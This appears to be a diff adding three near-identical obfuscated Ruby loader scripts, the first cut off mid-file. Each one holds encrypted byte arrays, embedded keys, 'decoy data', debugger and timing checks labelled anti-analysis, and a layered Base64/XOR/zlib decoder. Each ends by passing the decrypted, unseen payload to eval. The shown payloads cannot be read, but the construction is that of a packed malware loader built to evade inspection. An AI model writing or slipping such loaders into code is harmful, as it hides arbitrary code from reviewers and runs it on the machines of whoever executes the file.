_a263d81 = [48, 11, 56, 93, 74, 49, 196, 197, 140, 17, 135, 191, 189, 237, 183, 100, 81, 91, 6, 28, 55, 186, 207, 190, 140, 133, 125, 142, 232, 208, 146, 98, 217, 35, 203, 139, 24, 35, 187, 217, 82, 203, 164, 178, 161, 112, 56, 112, 115, 150, 130, 7, 158, 78, 131, 54, 143, 89, 252, 202, 179, 220, 212, 229, 219, 230, 76, 105, 160, 238, 114, 243, 125, 103, 235, 23, 148, 53, 229, 85, 23, 242, 29, 177, 253, 150, 24, 254, 181, 177, 226, 104, 181, 44, 206, 171, 208, 5, 96, 82, 84, 29, 20, 47, 182, 208, 112, 251, 209, 30, 194, 212, 3, 53, 246, 100, 115, 6, 246, 46, 44, 79, 120, 52, 34, 113, 235, 46, 88, 215, 104, 10, 228, 227, 240, 193, 100, 161, 83, 48, 178, 212, 51, 174, 146, 4, 22, 150, 126, 178, 221, 114, 239, 151, 6, 146, 33, 6, 143, 48, 86, 208, 75, 238, 148, 167, 189, 234, 195, 98, 235, 105, 118, 55, 144, 46, 248, 80, 165, 216, 58, 214, 172, 35, 63, 53, 65, 20, 177, 158, 129, 205, 129, 197, 181, 226, 100, 49, 80, 208, 39, 9, 17, 52, 94, 148, 25, 60, 67, 244, 243, 135, 32, 74, 231, 47, 84, 251, 250, 154, 19, 198, 250, 2, 1, 223, 78, 18, 149, 148, 200, 219, 185, 250, 96, 120, 71, 44, 49, 98, 43, 193, 176, 218, 84, 56, 183, 203, 98, 233, 233, 184, 31, 148, 146, 186, 116, 45, 104, 7, 144, 181, 82, 5, 132, 181, 118, 251, 27, 208, 72, 213, 84, 189, 220, 184, 181, 74, 135, 199, 11, 112, 34, 162, 154, 181, 104, 64, 233, 159, 22, 255, 21, 163, 104, 135, 102, 177, 61, 72, 183, 122, 70, 175, 253, 93, 53, 2, 122, 119, 226, 29, 164, 192, 29, 79, 49, 69, 172, 20, 76, 178, 89, 26, 240, 98, 32, 86, 154, 170, 23, 223, 107, 203, 236, 30, 176, 235, 250, 232, 133, 134, 233, 99, 63, 56, 245, 92, 201, 149, 252, 26, 206, 65, 157, 77, 254, 35, 102, 222, 82, 5, 4, 252, 236, 112, 161, 66, 128, 250, 54, 53, 213, 144, 211, 252, 186, 160, 160, 148, 38, 83, 126, 85, 232, 60, 175, 8, 205, 178, 188, 124, 149, 126, 198, 9, 35, 85, 218, 126, 67, 8, 78, 54, 192, 227, 182, 124, 193, 38, 213, 229, 201, 38, 185, 18, 56, 78, 10, 125, 79, 9, 243, 207, 103, 214, 110, 177, 255, 242, 153, 76, 253, 212, 199, 116, 250, 124, 123, 72, 116, 152, 169, 78, 205, 217, 164, 220, 59, 123, 210, 148, 114, 57, 17, 35, 28, 66, 209, 96, 107, 203, 13, 254, 123, 122, 215, 114, 157, 214, 204, 139, 110, 6, 57, 23, 69, 48, 155, 40, 151, 241, 92, 169, 187, 228, 179, 237, 65, 158, 117, 76, 227, 120, 249, 52, 30, 190, 206, 94, 243, 173, 126, 77, 39, 65, 146, 193, 96, 101, 22, 149, 239, 118, 73, 243, 10, 68, 50, 66, 150, 235, 215, 245, 254, 188, 243, 167, 107, 199, 94, 94, 214, 178, 150, 178, 35, 34, 48, 64, 162, 139, 2, 208, 131, 237, 88, 21, 90, 159, 239, 73, 68, 1] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_z88d556 = [151, 150, 13, 146, 116, 196, 208, 131, 92, 3, 10, 154, 255, 30, 193, 170, 72, 209, 57, 66]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_c162645 = [0, 1, 0, 0, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_xe30eaa = 'ce6f1c7dcbfce3f76ecab6b067c011788b655e67a0318780f08556a8f06d9dd7'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_k377bc0 = [192, 140, 219, 2, 237, 100, 4, 92, 159, 115, 54, 99, 61, 101, 168, 42, 9, 56, 205, 159, 233, 100, 22, 174, 180, 156, 139, 234, 71, 110, 224, 27, 105, 47, 65, 240, 176, 93, 71, 112, 249, 123, 3, 228, 94, 246, 244, 219, 107, 116, 127, 64, 88, 38, 200, 107, 109, 177, 120, 95, 191, 6, 34, 165, 53, 142, 161, 103, 68, 146, 88, 210, 68, 119, 44, 142, 108, 149, 76, 71, 98, 166, 2, 254, 212, 15, 238, 91, 127, 169, 89, 82, 253, 114, 36, 155, 65, 253, 135, 58, 184, 229, 122, 7, 111, 3, 162, 127, 214, 75, 159, 212, 203, 242, 234, 191, 48, 20, 156, 184, 189, 133, 226, 168, 2, 162, 181, 219, 217]
|
|
64
|
+
_g046265 = [116, 205, 48, 26, 236, 248, 204, 0, 99, 72, 240, 81, 212, 14, 64, 220, 155, 205, 193, 16, 100, 187, 71, 61, 201, 137, 104, 238, 6, 186, 164, 243, 121, 66, 60, 82, 179, 44, 230, 36, 210, 241, 154, 152, 200, 117, 163, 239, 188, 71, 48, 21]
|
|
65
|
+
_n468e3d = [49, 192, 2, 58, 39, 100, 56, 63, 175, 173, 32, 162, 126, 121, 45, 143, 217, 126, 46, 228, 177, 234, 177, 191, 253, 204, 189, 232, 164, 184, 210, 248, 200, 239, 222, 13, 64, 91, 253, 145, 154, 95, 201, 93, 85, 95, 66, 90, 140, 198, 151, 214, 18, 87, 125, 99, 162, 8, 114, 124, 22, 56, 94, 127, 95, 14, 79, 65, 206, 2, 15, 19, 223]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _qd9e30b.call(_a263d81, _c162645, _z88d556, _xe30eaa)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_k14d41b = _a263d81.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_y7979b9|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_w702452 = 5 - _y7979b9 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_mc01474 = 4
|
|
84
|
+
_aa157d4 = _w702452 * _mc01474
|
|
85
|
+
_b1f9c05 = _z88d556[_aa157d4, _mc01474]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _c162645[_w702452] == 1
|
|
93
|
+
_w47e7dc = _k14d41b.pack('C*')
|
|
94
|
+
_w47e7dc = Base64.strict_decode64(_w47e7dc)
|
|
95
|
+
_k14d41b = _w47e7dc.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_k14d41b = _ufa4792.call(_k14d41b, _b1f9c05)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_w47e7dc = _k14d41b.pack('C*')
|
|
103
|
+
_w47e7dc = Zlib::Inflate.inflate(_w47e7dc)
|
|
104
|
+
_k14d41b = _w47e7dc.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_k0f3fd6 = _k14d41b.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _k0f3fd6.strip.empty? || _k0f3fd6.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_k0f3fd6, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _p69944d
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_p69944d.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_l999e72 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_h631b8b = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _h631b8b) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_o36874b = _l999e72.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_b7f3080 = ->(_be9d53a, _kb1252c) do
|
|
32
|
+
_je732f0 = []
|
|
33
|
+
_be9d53a.each_with_index do |byte, idx|
|
|
34
|
+
_je732f0 << (byte ^ _kb1252c[idx % _kb1252c.length])
|
|
35
|
+
end
|
|
36
|
+
_je732f0
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_e4681fd = lambda do |_t6331c5, _qf87a6d, _p5f31d6, _wea2ce3|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_t6331c5.pack('C*'))
|
|
44
|
+
if current_hash != _wea2ce3
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_t6331c5 = [165, 185, 34, 15, 150, 193, 133, 224, 221, 99, 255, 197, 228, 83, 58, 117, 219, 12, 111, 102, 251, 123, 202, 71, 105, 5, 248, 235, 37, 110, 162, 138, 14, 182, 240, 183, 171, 19, 17, 253, 242, 170, 185, 4, 156, 52, 128, 241, 79, 69, 177, 81, 225, 130, 104, 188, 168, 82, 101, 82, 26, 227, 68, 146, 12, 86, 70, 207, 68, 23, 66, 190, 86, 11, 222, 170, 217, 43, 165, 115, 117, 107, 73, 126, 10, 199, 12, 91, 63, 150, 22, 179, 199, 76, 192, 230, 178, 32, 119, 235, 152, 120, 178, 119, 245, 58, 214, 235, 13, 193, 32, 222, 33, 23, 88, 175, 48, 29, 200, 204, 36, 37, 17, 84, 236, 49, 58, 86, 96, 163, 88, 252, 145, 125, 66, 84, 49, 175, 231, 126, 206, 217, 168, 0, 202, 239, 102, 56, 225, 205, 195, 150, 250, 189, 138, 32, 4, 42, 186, 138, 147, 224, 199, 24, 241, 153, 212, 23, 119, 109, 14, 140, 150, 132, 134, 50, 230, 84, 167, 192, 78, 246, 180, 198, 169, 155, 41, 84, 142, 191, 32, 150, 218, 118, 34, 193, 102, 71, 145, 244, 59, 26, 206, 238, 1, 168, 77, 27, 154, 76, 40, 124, 194, 131, 88, 248, 38, 22, 207, 59, 25, 41, 130, 46, 34, 8, 107, 113, 163, 40, 104, 109, 83, 178, 82, 132, 10, 41, 208, 65, 31, 212, 142, 85, 180, 58, 38, 205, 104, 243, 98, 183, 228, 255, 203, 167, 170, 62, 195, 81, 107, 182, 94, 240, 234, 55, 232, 226, 204, 96, 33, 8, 1, 100, 4, 91, 98, 71, 44, 3, 110, 164, 161, 1, 22, 163, 199, 143, 70, 222, 86, 201, 238, 2, 249, 61, 137, 53, 117, 248, 102, 207, 122, 27, 180, 170, 185, 93, 173, 238, 157, 2, 240, 184, 208, 132, 91, 14, 85, 55, 132, 18, 191, 210, 105, 105, 98, 59, 207, 85, 190, 52, 128, 53, 12, 90, 2, 157, 210, 193, 142, 156, 168, 239] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_lf57eee = [222, 223, 11, 142, 245, 82, 227, 88, 36, 107, 204, 135, 194, 141, 220, 20, 221, 99, 47, 192]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_qf87a6d = [1, 1, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_wea2ce3 = '18808e9a84ed327226941aa04d6cb1eb308b33465dddb16379d03f7425b97730'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_xe52502 = [213, 195, 179, 193, 57, 158, 45, 242, 221, 28, 116, 180, 29, 13, 113, 207, 177, 5, 183, 67, 202, 156, 228, 212, 167, 252, 147, 43, 158, 9, 196, 50, 64, 109, 48, 43, 140, 170, 137, 53, 60, 45, 107, 106, 41, 16, 245, 99, 220, 224, 226, 98, 188, 135, 196, 17, 109, 247, 161, 173, 197, 227, 157, 131, 96, 252, 21, 17, 153, 185, 123, 89, 121, 136, 228, 67, 224, 65, 192, 202, 52, 215, 232, 46, 136, 230, 178, 148, 12, 127, 157, 223, 41, 102, 233, 174, 198, 202, 32, 155, 61, 92]
|
|
64
|
+
_n2bf893 = [115, 162, 128, 227, 111, 47, 7, 210, 84, 177, 66, 140, 148, 92, 2, 156, 146, 20, 242, 130, 5, 181, 205, 167, 83, 99, 140, 179, 215, 233, 206, 78, 4, 56, 223, 215, 73, 227, 147, 15, 241, 26, 236, 19, 11, 12, 46, 16, 25, 46, 73, 75, 180, 127, 148, 32, 194, 70, 140, 4, 151, 85, 192, 11, 187, 79, 224, 201, 216, 23, 116, 95, 24, 229, 165, 246, 210, 204, 126, 147, 225, 211, 27, 28, 48, 10, 92, 113, 231, 153]
|
|
65
|
+
_qe1df75 = [7, 234, 168, 231, 188, 59, 102, 189, 197, 21, 228, 109, 200, 153, 205, 198, 160, 211, 78, 186, 16, 144, 110, 201, 7, 52, 117, 80, 9, 38, 2, 225, 231, 32, 27, 94, 8, 238, 203, 187, 194, 13, 71, 99, 130, 226, 219, 148, 50, 19, 229, 228, 155, 20, 216, 16, 71, 120, 14, 71, 98, 10, 7, 239, 63, 223, 129, 173, 47, 27, 42, 43, 56, 193, 222, 68, 254, 173, 99, 76, 163, 223, 47, 96, 120, 81, 138, 215, 92, 210, 235, 144, 15, 65, 1, 72, 64, 32, 240, 199, 168, 173, 253, 117, 208]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _e4681fd.call(_t6331c5, _qf87a6d, _lf57eee, _wea2ce3)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_x5f2305 = _t6331c5.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_a58cf2c|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_j37ff62 = 5 - _a58cf2c - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_w783da5 = 4
|
|
84
|
+
_tb4956e = _j37ff62 * _w783da5
|
|
85
|
+
_vf699d4 = _lf57eee[_tb4956e, _w783da5]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _qf87a6d[_j37ff62] == 1
|
|
93
|
+
_fd1de46 = _x5f2305.pack('C*')
|
|
94
|
+
_fd1de46 = Base64.strict_decode64(_fd1de46)
|
|
95
|
+
_x5f2305 = _fd1de46.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_x5f2305 = _b7f3080.call(_x5f2305, _vf699d4)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_fd1de46 = _x5f2305.pack('C*')
|
|
103
|
+
_fd1de46 = Zlib::Inflate.inflate(_fd1de46)
|
|
104
|
+
_x5f2305 = _fd1de46.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_s6be811 = _x5f2305.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _s6be811.strip.empty? || _s6be811.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_s6be811, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _lc869f3
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_lc869f3.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_i4a262b = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_madbe96 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _madbe96) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_r7bb21c = _i4a262b.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_h110abf = ->(_a8ba464, _t99ca4c) do
|
|
32
|
+
_bc0c29f = []
|
|
33
|
+
_a8ba464.each_with_index do |byte, idx|
|
|
34
|
+
_bc0c29f << (byte ^ _t99ca4c[idx % _t99ca4c.length])
|
|
35
|
+
end
|
|
36
|
+
_bc0c29f
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_e61ab4e = lambda do |_d7f3d34, _zfd3403, _v1b0685, _u442765|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_d7f3d34.pack('C*'))
|
|
44
|
+
if current_hash != _u442765
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_d7f3d34 = [61, 24, 52, 47, 140, 96, 90, 222, 69, 194, 225, 225, 247, 146, 43, 131, 104, 28, 115, 43, 121, 4, 253, 224, 80, 8, 148, 136, 164, 41, 238, 215, 170, 157, 129, 78, 190, 23, 120, 40, 65, 231, 74, 169, 198, 129, 75, 82, 193, 189, 224, 127, 242, 209, 72, 154, 231, 17, 153, 69, 115, 100, 232, 170, 10, 11, 244, 103, 124, 136, 76, 192, 118, 196, 162, 105, 194, 126, 152, 112, 122, 8, 108, 17, 111, 92, 63, 187, 144, 156, 126, 54, 192, 229, 84, 106, 4, 78, 120, 94, 74, 51, 15, 11, 60, 84, 183, 179, 183, 60, 56, 153, 165, 34, 245, 38, 63, 216, 207, 46, 7, 43, 187, 140, 219, 86, 1, 23, 15, 242, 175, 16, 54, 141, 100, 218, 138, 14, 210, 213, 156, 199, 178, 186, 139, 10, 215, 92, 144, 193, 44, 238, 218, 194, 71, 77, 67, 20, 224, 56, 159, 228, 210, 191, 189, 179, 78, 144, 91, 110, 92, 190, 6, 227, 213, 65, 174, 95, 136, 237, 27, 34, 248, 112, 147, 171, 7, 27, 114, 1, 1, 163, 22, 228, 113, 214, 208, 42, 232, 112, 172, 92, 206, 37, 2, 84, 62, 232, 24, 24, 8, 55, 199, 70, 196, 225, 133, 51, 56, 30, 159, 110, 12, 61, 34, 176, 15, 246, 136, 28, 252, 35, 219, 188, 29, 64, 235, 154, 94, 47, 230, 7, 223, 86, 160, 80, 142, 199, 127, 235, 244, 245, 155, 106, 235, 3, 70, 129, 202, 50, 231, 115, 85, 9, 17, 46, 95, 72, 133, 201, 61, 54, 140, 82, 245, 45, 40, 188, 237, 108, 148, 40, 124, 100, 160, 214, 8, 132, 162, 207, 238, 20, 24, 147, 73, 177, 202, 105, 56, 63, 244, 18, 170, 172, 2, 201, 205, 5, 121, 90, 91, 18, 195, 216, 118, 48, 75, 44, 231, 181, 78, 73, 126, 62, 58, 71, 242, 126, 0, 119, 108, 179, 157, 198, 121, 157, 213, 71, 99, 163, 128, 53, 155, 158, 197, 38, 36, 199, 115, 164, 120, 127, 194, 103, 111, 131, 194, 162, 227, 69, 81, 189, 20, 198, 179, 192, 127, 224, 118, 209, 14, 203, 45, 155, 247, 152, 100, 143, 66, 213, 209, 135, 236, 42, 156, 15, 22, 3, 31, 34, 147, 235, 213, 168, 41, 164, 224, 158, 152, 203, 252, 204, 11, 154, 66, 97, 117, 193, 246, 48, 169, 143, 43, 250, 52, 213, 49, 107, 182, 168, 105, 136, 221, 65, 167, 69, 131, 94, 134, 146, 107, 13, 200, 141, 28, 55, 105, 194, 122, 199, 246, 63, 202, 30, 89, 53, 198, 174, 235, 125, 53, 146, 4, 1, 109, 114, 223, 117, 74, 249, 93, 207, 252, 118, 1, 55, 182, 147, 208, 59, 135, 137, 106, 178, 135, 74, 145, 151, 203, 203, 145, 45, 221, 142, 97, 127, 24, 16, 103, 217, 141, 8, 86, 16, 91, 82, 151, 97, 197, 47, 138, 228, 13, 152, 215, 73, 248, 16, 38, 124, 18, 228, 225, 210, 159, 110, 76, 254, 59, 12, 192, 212, 218, 209, 144, 236, 14, 190, 85, 120, 6, 130, 10, 109, 136, 123, 145, 104, 43, 12, 18, 172, 120, 97, 115, 19, 236, 207, 234, 65, 19, 59, 35, 34, 139, 4, 118, 11, 120, 133, 154, 175, 26, 232, 108, 175, 221, 25, 169, 217, 84, 160, 165, 242, 3, 249, 202, 213, 86, 197, 139, 113, 173, 237, 229, 230, 103, 9, 144, 35, 115, 25, 209, 77, 140, 221, 194, 40, 155, 41, 170, 75, 180, 176, 175, 89, 115, 174, 115, 52, 12, 31, 212, 184, 32, 114, 18, 100, 175, 86, 206, 50, 222, 49, 58, 184, 179, 230, 38] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_p963fd4 = [77, 214, 250, 187, 255, 118, 145, 250, 212, 39, 79, 12, 126, 94, 237, 6, 69, 194, 49, 238]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_zfd3403 = [1, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_u442765 = '807e87c9dafc75b97cf79d9c385dba6bc92a1553575905df9b80f3d97c2dec4a'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_w067ac1 = [105, 169, 124, 111, 7, 170, 248, 243, 139, 241, 0, 130, 154, 139, 107, 133, 216, 174, 36, 149, 44, 147, 106, 228, 20, 86, 5, 156, 110, 152, 116, 247, 133, 133, 106, 21, 5, 79, 110, 61, 136, 114, 97, 220, 149, 35, 76, 91, 172, 78, 198, 213, 200, 224, 113, 189, 18, 219, 144, 140, 203, 88, 182, 83, 130, 102, 113, 208, 1, 14, 162, 136, 141, 152, 125, 64, 198, 145, 209, 175, 42, 71, 59, 18, 229, 30, 46, 31, 111, 102, 138, 41, 224, 195, 83, 121, 213, 71]
|
|
64
|
+
_jcf5829 = [83, 74, 215, 255, 196, 72, 243, 43, 62, 121, 151, 147, 92, 60, 179, 254, 140, 99, 229, 98, 72, 99, 132, 141, 34, 91, 107, 41, 207, 114, 185, 223, 161, 199, 156, 183, 161, 214, 220, 104, 227, 184, 124, 240, 18, 155, 238, 85, 20, 212, 109]
|
|
65
|
+
_b311fc8 = [6, 245, 184, 199, 223, 169, 218, 242, 102, 134, 244, 107, 135, 175, 113, 243, 163, 24, 33, 159, 104, 51, 128, 199, 86, 138, 81, 18, 135, 12, 15, 146, 25, 48, 50, 85, 77, 200, 130, 10, 44, 0, 154, 215, 218, 204, 36, 118, 53, 85, 13, 97, 149, 121, 194, 114, 184, 164, 224, 1, 22, 46, 98, 82, 7, 57]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _e61ab4e.call(_d7f3d34, _zfd3403, _p963fd4, _u442765)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_x479ab7 = _d7f3d34.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_f7b5eb7|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_c0f92cb = 5 - _f7b5eb7 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_ja14d08 = 4
|
|
84
|
+
_oc37cf2 = _c0f92cb * _ja14d08
|
|
85
|
+
_j6272fd = _p963fd4[_oc37cf2, _ja14d08]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _zfd3403[_c0f92cb] == 1
|
|
93
|
+
_h592cd7 = _x479ab7.pack('C*')
|
|
94
|
+
_h592cd7 = Base64.strict_decode64(_h592cd7)
|
|
95
|
+
_x479ab7 = _h592cd7.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_x479ab7 = _h110abf.call(_x479ab7, _j6272fd)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_h592cd7 = _x479ab7.pack('C*')
|
|
103
|
+
_h592cd7 = Zlib::Inflate.inflate(_h592cd7)
|
|
104
|
+
_x479ab7 = _h592cd7.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_r3babd6 = _x479ab7.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _r3babd6.strip.empty? || _r3babd6.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_r3babd6, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _o50e7c1
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_o50e7c1.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|